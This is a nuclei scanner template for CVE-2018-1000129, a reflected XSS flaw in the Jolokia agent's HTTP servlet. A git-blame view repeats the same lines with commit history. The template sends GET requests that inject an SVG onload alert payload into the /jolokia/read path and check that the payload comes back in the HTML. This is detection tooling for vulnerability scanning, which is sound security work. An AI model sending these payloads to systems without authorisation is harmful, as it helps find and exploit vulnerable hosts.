nuclei-templates/cves/2018/CVE-2018-1000129.yaml

id: CVE-2018-1000129

info:
  name: Jolokia XSS
  author: mavericknerd,0h1in9e
  severity: medium
  description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
  reference:
    - https://jolokia.org/#Security_fixes_with_1.5.0
    - https://github.com/rhuss/jolokia/commit/5895d5c137c335e6b473e9dcb9baf748851bbc5f#diff-f19898247eddb55de6400489bff748ad
    - https://access.redhat.com/errata/RHSA-2018:2669
    - https://access.redhat.com/errata/RHSA-2018:3817
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-1000129
    cwe-id: CWE-79
  tags: cve,cve2018,jolokia,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<svg onload=alert(document.domain)>"
        part: body
      - type: word
        words:
          - "text/html"
        part: header
misc changes 2021-01-02 05:00:39 +00:00			`id: CVE-2018-1000129`
Add CVE-2018-1000129 and version detection is enabled for port 8080 also 2020-06-17 09:16:11 +00:00
			`info:`
			`name: Jolokia XSS`
Updated author names 2021-06-09 12:20:56 +00:00			`author: mavericknerd,0h1in9e`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`severity: medium`
add desc 2020-08-25 22:15:20 +00:00			`description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`reference:`
			`- https://jolokia.org/#Security_fixes_with_1.5.0`
			`- https://github.com/rhuss/jolokia/commit/5895d5c137c335e6b473e9dcb9baf748851bbc5f#diff-f19898247eddb55de6400489bff748ad`
			`- https://access.redhat.com/errata/RHSA-2018:2669`
			`- https://access.redhat.com/errata/RHSA-2018:3817`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
			`cvss-score: 6.1`
			`cve-id: CVE-2018-1000129`
			`cwe-id: CWE-79`
			`tags: cve,cve2018,jolokia,xss`
Add CVE-2018-1000129 and version detection is enabled for port 8080 also 2020-06-17 09:16:11 +00:00
			`requests:`
			`- method: GET`
			`path:`
Fix bug about CVE-2018-1000129 2020-09-01 12:42:12 +00:00			`- "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"`
			`- "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"`
Fixed default condition OR to AND in false-positives 2020-07-08 11:38:57 +00:00			`matchers-condition: and`
Add CVE-2018-1000129 and version detection is enabled for port 8080 also 2020-06-17 09:16:11 +00:00			`matchers:`
			`- type: status`
			`status:`
			`- 200`
			`- type: word`
			`words:`
Fix bug about CVE-2018-1000129 2020-09-01 12:42:12 +00:00			`- "<svg onload=alert(document.domain)>"`
Add CVE-2018-1000129 and version detection is enabled for port 8080 also 2020-06-17 09:16:11 +00:00			`part: body`
Fix bug about CVE-2018-1000129 2020-09-01 12:42:12 +00:00			`- type: word`
			`words:`
			`- "text/html"`
			`part: header`